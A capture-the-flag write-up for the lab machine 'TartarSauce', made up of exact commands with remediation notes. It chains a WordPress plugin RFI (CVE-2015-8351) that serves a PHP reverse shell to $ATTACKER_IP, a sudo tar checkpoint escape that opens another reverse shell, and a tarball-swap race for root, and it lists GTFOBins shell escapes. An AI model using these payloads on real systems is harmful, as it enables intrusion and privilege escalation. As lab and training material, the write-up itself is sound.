TartarSauce
Summary
The web server's robots.txt explicitly listed every hidden application under /webservices/, pointing my directly to a WordPress site. Enumerating installed plugins revealed the Gwolle Guestbook plugin (≤1.5.3), which contains an unauthenticated Remote File Inclusion flaw (CVE-2015-8351): a single GET request caused the server to fetch and execute a PHP reverse shell hosted on my machine, landing a shell as the web server account (www-data). Checking sudo permissions exposed a passwordless rule letting www-data run /bin/tar as user onuma — GNU tar's checkpoint-action flag turned this into instant command execution as onuma, and the user flag was read directly.
As onuma, a root-owned backup script (/usr/sbin/backuperer) was found to write a tar archive to a world-accessible path in /var/tmp/, sleep, then extract it as root with no integrity check. A polling loop replaced the archive with a malicious tarball the instant it appeared; when root's extraction ran, my own code executed with full privileges and /root/root.txt was read — complete system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 1
curl -s http://$TARGET/robots.txtFixRemove internal application paths from robots.txtMedium
Exact commands 2
curl -s "http://$TARGET/webservices/wp/?page_id=2" | grep -iEo 'wp-content/plugins/[a-z0-9_-]+' | sort -ucurl -s "http://$TARGET/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://127.0.0.1/"FixRemove or patch the Gwolle Guestbook plugin (CVE-2015-8351)Critical
Exact commands 4
mkdir -p /tmp/ts_rfi2 && cat > /tmp/ts_rfi2/wp-load.php <<'PHP'
<?php system('/bin/bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4445 0>&1"'); ?>
PHPpython3 -m http.server 8001 --bind $ATTACKER_IP --directory /tmp/ts_rfi2 &nc -lvnp 4445curl -sS "http://$TARGET/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://$ATTACKER_IP:8001/"Exact commands 1
sudo -lFixRemove the passwordless sudo rule granting the web server account access to tarCritical
Exact commands 3
sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec="/bin/sh -c 'id; cat /home/onuma/user.txt'"nc -lvnp 4446sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec="/bin/sh -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4446 0>&1'"Exact commands 2
cat /usr/sbin/backuperersystemctl list-timers --all; ls -la /etc/cron.d/ /etc/cron.hourly/ /var/spool/cron/crontabs/FixEliminate the TOCTOU race condition in the backuperer root scriptCritical
Exact commands 3
mkdir -p /tmp/evilroot/var/www/html/tsleak && cat > /tmp/evilroot/var/www/html/tsleak/cmd.php <<'PHP'
<?php system('cat /root/root.txt'); ?>
PHP
tar -cvzf /tmp/evilroot.tgz -C /tmp/evilroot .while true; do
f=$(find /var/tmp -maxdepth 1 -type f -name '.*' -printf '%T@ %p\n' 2>/dev/null | sort -rn | head -1 | awk '{print $2}')
[ -n "$f" ] && cp /tmp/evilroot.tgz "$f" && echo "TARTRIGGER: replaced $f" && break
donecurl -sS "http://$TARGET/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://$ATTACKER_IP:8001/"Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 80/tcp | http Apache httpd 2.4.18 ((Ubuntu)) |